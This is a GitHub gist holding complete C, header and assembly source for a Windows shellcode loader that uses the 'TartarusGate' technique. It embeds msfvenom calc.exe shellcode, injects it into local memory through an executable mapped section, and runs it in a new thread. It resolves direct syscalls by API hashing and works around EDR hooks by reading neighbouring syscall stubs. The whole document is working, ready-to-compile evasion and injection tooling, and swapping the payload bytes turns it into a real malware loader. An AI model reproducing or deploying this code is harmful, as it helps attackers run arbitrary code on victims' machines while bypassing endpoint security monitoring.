Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active July 6, 2024 16:26
Show Gist options
  • Save wizardy0ga/253ec6c1f3796759f3abf84c7efebb06 to your computer and use it in GitHub Desktop.
Save wizardy0ga/253ec6c1f3796759f3abf84c7efebb06 to your computer and use it in GitHub Desktop.
Local mapping inject using TartarusGate
/*
Author:
wizardy0ga
Date:
July 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Compile Instructions:
ML64 /c tartarus.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl.exe Tartarus.c main.c
link.exe /OUT:TartarusGate.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib tartarus.x64.obj tartarus.obj main.obj
Mitre:
Execution:
T1106 - Native API
Description:
Execute shellcode via local mapping injection using the tartarus gate technique.
Reference:
https://github.com/trickster0/TartarusGate
https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection
*/
#include "tartarus.h"
/* Calc.exe - msfvenom -p windows/x64/exec CMD=calc.exe */
CHAR shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
int main() {
NTSTATUS Status = 0;
HANDLE hThread = NULL,
hSection = NULL;
SIZE_T BytesWritten = 0,
ImageSize = 0,
ShellcodeSize = sizeof(shellcode);
PVOID pImage = NULL;
LARGE_INTEGER MaxSize = {
.HighPart = 0,
.LowPart = (DWORD)ShellcodeSize
};
NTDLL_CONFIG NtConfig = { 0 };
SYSCALLS Syscalls = { 0 };
printf("[+] Press enter to begin\n"); getchar();
/* Get NTDLL base address & functions */
if (!InitConfiguration(&NtConfig)) {
return -1;
}
/* Populate syscall structures with SSN for syscall */
get_ssn(NtCreateSection_Hash, &Syscalls.NtCreateSection, &NtConfig);
get_ssn(NtUnmapViewOfSection_Hash, &Syscalls.NtUnmapViewOfSection, &NtConfig);
get_ssn(NtMapViewOfSection_Hash, &Syscalls.NtMapViewOfSection, &NtConfig);
get_ssn(NtClose_Hash, &Syscalls.NtClose, &NtConfig);
get_ssn(NtCreateThreadEx_Hash, &Syscalls.NtCreateThreadEx, &NtConfig);
get_ssn(NtWaitForSingleObject_Hash, &Syscalls.NtWaitForSingleObject, &NtConfig);
get_ssn(NtWriteVirtualMemory_Hash, &Syscalls.NtWriteVirtualMemory, &NtConfig);
/* Create image section */
SetSSN(Syscalls.NtCreateSection.SSN);
Status = RunSyscall(&hSection, SECTION_ALL_ACCESS, NULL, &MaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (Status != 0x0) {
nt_error("Failed to create image section. Error: 0x%0.8X", Status);
}
/* Map section to memory */
SetSSN(Syscalls.NtMapViewOfSection.SSN);
Status = RunSyscall(hSection, (HANDLE)-1, &pImage, NULL, NULL, NULL, &ImageSize, 1, NULL, PAGE_EXECUTE_READWRITE);
if (Status != 0x0) {
nt_error("Failed to map image section. Error: 0x%0.8X", Status);
}
dbg_print("Mapped %lld byte image to 0x%p", ImageSize, pImage);
/* Copy shellcode into buffer */
SetSSN(Syscalls.NtWriteVirtualMemory.SSN);
Status = RunSyscall((HANDLE)-1, pImage, shellcode, ShellcodeSize, &BytesWritten);
if (Status != 0x0 || ShellcodeSize != BytesWritten) {
dbg_print("Failed to write shellcode to 0x%p. Error: 0x%0.8X\n", pImage, Status);
if (ShellcodeSize != BytesWritten) {
nt_error("Bytes written does not match expected amount. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize);
}
return -1;
}
dbg_print("Wrote %lld bytes to buffer at 0x%p", BytesWritten, pImage);
/* Execute image in new thread */
SetSSN(Syscalls.NtCreateThreadEx.SSN);
Status = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pImage, NULL, FALSE, NULL, NULL, NULL, NULL);
if (Status != 0x0) {
nt_error("Failed to create thread. Error: 0x%0.8X", Status);
}
dbg_print("Executing shellcode in thread: %d", GetThreadId(hThread));
/* Wait for thread */
SetSSN(Syscalls.NtWaitForSingleObject.SSN);
Status = RunSyscall(hThread, FALSE, NULL);
if (Status != 0x0) {
nt_error("NtWaitForSingleObject failed with error: 0x%0.8X", Status);
}
printf("[+] Execution complete. Press enter to cleanup"); getchar();
/* Release the section from memory */
SetSSN(Syscalls.NtUnmapViewOfSection.SSN);
Status = RunSyscall((HANDLE)-1, pImage);
if (Status != 0x0) {
nt_error("Failed to unmap the image. Error: 0x%0.8X", Status);
}
dbg_print("Unmapped image section");
/* Close section handle */
SetSSN(Syscalls.NtClose.SSN);
Status = RunSyscall(hSection);
if (Status != 0x0) {
nt_error("NtClose failed with error 0x%0.8X", Status);
}
printf("[+] Clean exit!\n");
return 0;
}
#include "Tartarus.h"
unsigned int CRC32(char* string) {
int i,
crc;
unsigned int byte, c;
const unsigned int g0 = SEED,
g1 = g0 >> 1,
g2 = g0 >> 2,
g3 = g0 >> 3,
g4 = g0 >> 4,
g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0,
g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = string[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
BOOL InitConfiguration(PNTDLL_CONFIG pConfig) {
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
PIMAGE_DOS_HEADER pDos = NULL;
PIMAGE_NT_HEADERS pNt = NULL;
PIMAGE_EXPORT_DIRECTORY pExports = NULL;
CHAR ModNameLower[MAX_PATH] = { 0 };
ULONG_PTR ModuleBase = 0;
int string_size = 0;
CHAR c = 0;
PPEB pPeb = (PPEB)__readgsqword(0x60);
/* Get the base address of ntdll */
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) {
if (pEntry->BaseDllName.Buffer) {
string_size = lstrlenW(pEntry->BaseDllName.Buffer);
if (string_size <= MAX_PATH) {
for (c = 0; c < string_size; c++) { ModNameLower[c] = tolower((CHAR)(pEntry->BaseDllName.Buffer[c])); }
ModNameLower[c++] = '\0';
if (CRC32(ModNameLower) == 0xFFFFC51B) {
dbg_print("Found %S at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase);
ModuleBase = (ULONG_PTR)pEntry->DllBase;
break;
}
}
}
}
if (!ModuleBase) { dbg_print("Could not locate ntdll in peb."); return FALSE; }
/* Get the export directory */
pDos = (PIMAGE_DOS_HEADER)ModuleBase;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) { dbg_print("dos header signature mismatch"); return FALSE; }
pNt = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) { dbg_print("nt header signature mismatch"); return FALSE; }
pExports = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pExports) { dbg_print("Could not locate export directory"); return FALSE; }
/* Add Function names, ordinals & addresses to config structure */
pConfig->BaseOfModule = ModuleBase;
pConfig->NumberOfNames = pExports->NumberOfNames;
pConfig->Names = (PDWORD)(ModuleBase + pExports->AddressOfNames);
pConfig->Addresses = (PDWORD)(ModuleBase + pExports->AddressOfFunctions);
pConfig->Ordinals = (PWORD)(ModuleBase + pExports->AddressOfNameOrdinals);
if (!pConfig->Addresses ||
!pConfig->BaseOfModule ||
!pConfig->Names ||
!pConfig->Ordinals ||
!pConfig->NumberOfNames) {
dbg_print("One or more config structure members is null."); return FALSE;
}
dbg_print("Successfully initialized ntdll config structure");
return TRUE;
}
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig) {
PCHAR Name = 0;
PVOID Address = NULL;
WORD CurrentIndex = 0;
BYTE OpCode = 0,
High = 0,
Low = 0;
/* Init the config if it's null */
if (!pConfig) {
if (!InitConfiguration(pConfig)) {
return FALSE;
}
}
/* Add hash to syscall structure */
if (Hash) {
pSyscall->Hash = Hash;
}
else {
return FALSE;
}
/* Search for the hash in the dll export functions */
for (size_t i = 0; i < pConfig->NumberOfNames; i++) {
Name = (PCHAR)(pConfig->BaseOfModule + pConfig->Names[i]);
Address = (PVOID)(pConfig->BaseOfModule + pConfig->Addresses[pConfig->Ordinals[i]]);
if (CRC32(Name) == Hash) {
dbg_print("Found %s at 0x%p with hash 0x%0.8X", Name, Address, Hash);
pSyscall->Address = Address;
/* Check if opcodes are loading ssn into eax.Store ssn in syscall structure. */
if (*((PBYTE)Address) == 0x4C &&
*((PBYTE)Address + 1) == 0x8B &&
*((PBYTE)Address + 2) == 0xD1 &&
*((PBYTE)Address + 3) == 0xB8 &&
*((PBYTE)Address + 6) == 0x00 &&
*((PBYTE)Address + 7) == 0x00) {
dbg_print("Syscall is not hooked.");
High = *((PBYTE)Address + 5);
Low = *((PBYTE)Address + 4);
pSyscall->SSN = (High << 8) | Low;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* If syscall is hooked, begin searching upper & lower syscalls */
if (*((PBYTE)Address) == 0xE9) {
dbg_print("Syscall is hooked, scenario 1.");
for (WORD idx = 1; idx <= 255; idx++) {
/* Search down in syscalls */
if (*((PBYTE)Address + idx * 32) == 0x4C &&
search_down(Address, 1, idx) == 0x8B &&
search_down(Address, 2, idx) == 0xD1 &&
search_down(Address, 3, idx) == 0xB8 &&
search_down(Address, 6, idx) == 0x00 &&
search_down(Address, 7, idx) == 0x00
) {
High = search_down(Address, 5, idx);
Low = search_down(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low - idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* search up in syscalls */
if (*((PBYTE)Address + idx * -32) == 0x4C &&
search_up(Address, 1, idx) == 0x8B &&
search_up(Address, 2, idx) == 0xD1 &&
search_up(Address, 3, idx) == 0xB8 &&
search_up(Address, 6, idx) == 0x00 &&
search_up(Address, 7, idx) == 0x00
) {
High = search_up(Address, 5, idx);
Low = search_up(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low + idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
}
}
/* Second scenario for syscall being hooked */
if (*((PBYTE)Address + 3) == 0xE9) {
dbg_print("Syscall is hooked, scenario 2.");
for (WORD idx = 1; idx <= 255; idx++) {
/* Search down in syscalls */
if (*((PBYTE)Address + idx * 32) == 0x4C &&
search_down(Address, 1, idx) == 0x8B &&
search_down(Address, 2, idx) == 0xD1 &&
search_down(Address, 3, idx) == 0xB8 &&
search_down(Address, 6, idx) == 0x00 &&
search_down(Address, 7, idx) == 0x00
) {
High = search_down(Address, 5, idx);
Low = search_down(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low - idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* search up in syscalls */
if (*((PBYTE)Address + idx * -32) == 0x4C &&
search_up(Address, 1, idx) == 0x8B &&
search_up(Address, 2, idx) == 0xD1 &&
search_up(Address, 3, idx) == 0xB8 &&
search_up(Address, 6, idx) == 0x00 &&
search_up(Address, 7, idx) == 0x00
) {
High = search_up(Address, 5, idx);
Low = search_up(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low + idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
}
}
break;
}
}
/* Make sure all components */
if (!pSyscall->SSN || !pSyscall->Address || !pSyscall->Hash) {
return FALSE;
}
return TRUE;
}
#pragma once
#include <windows.h>
#include <stdio.h>
/* debug printing */
#ifdef DEBUG
#define dbg_print(msg, ...) printf("[DEBUG] " msg "\n", ##__VA_ARGS__)
#define nt_error(msg, ...) printf("[ERROR] " msg "\n", ##__VA_ARGS__); return -1;
#else
#define dbg_print(msg, ...) do {} while (0)
#define nt_error(msg, ...) do {} while (0); return -1;
#endif
/* Syscalls */
#define calc_offset(byte, offset) *((PBYTE)byte + offset)
#define search_down(byte, index, offset) *((PBYTE)byte + index + offset * 32)
#define search_up(byte, index, offset) *((PBYTE)byte + index + offset * -32)
#define get_ssn(hash, psyscall, pconfig) \
if (!GetSyscall(hash, psyscall, pconfig)) { \
dbg_print("Could not locate syscall."); return FALSE;\
} \
/* Function hashes */
#define SEED 8721
#define NtCreateSection_Hash 0xFFFFE156
#define NtUnmapViewOfSection_Hash 0xFFFFF36A
#define NtMapViewOfSection_Hash 0xFFFFEE01
#define NtClose_Hash 0xFFFFDEB8
#define NtCreateThreadEx_Hash 0xFFFFD084
#define NtWaitForSingleObject_Hash 0xFFFFDF8A
#define NtWriteVirtualMemory_Hash 0xFFFFCB07
/* Structs */
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef struct _NTDLL_CONFIG {
PDWORD Addresses;
PDWORD Names;
PWORD Ordinals;
DWORD NumberOfNames;
ULONG_PTR BaseOfModule;
} NTDLL_CONFIG, * PNTDLL_CONFIG;
typedef struct _NT_SYSCALL {
DWORD SSN;
DWORD Hash;
PVOID Address;
} NT_SYSCALL, * PNT_SYSCALL;
typedef struct _SYSCALLS {
NT_SYSCALL NtCreateSection;
NT_SYSCALL NtMapViewOfSection;
NT_SYSCALL NtUnmapViewOfSection;
NT_SYSCALL NtClose;
NT_SYSCALL NtCreateThreadEx;
NT_SYSCALL NtWriteVirtualMemory;
NT_SYSCALL NtWaitForSingleObject;
} SYSCALLS, * PSYSCALLS;
/* Prototypes */
unsigned int CRC32(char* string);
BOOL InitConfiguration(PNTDLL_CONFIG pConfig);
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig);
/* External functions */
extern VOID SetSSN(DWORD SSN);
extern RunSyscall();
.data
SystemCall DWORD 0000h
.code
SetSSN PROC
xor eax, eax
mov SystemCall, eax
mov eax, ecx
mov r8d, eax
mov SystemCall, r8d
ret
SetSSN ENDP
RunSyscall PROC
xor r10, r10
mov rax, rcx
mov r10, rax
mov eax, SystemCall
jmp Run
xor eax, eax
xor rcx, rcx
shl r10, 2
Run:
syscall
ret
RunSyscall ENDP
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment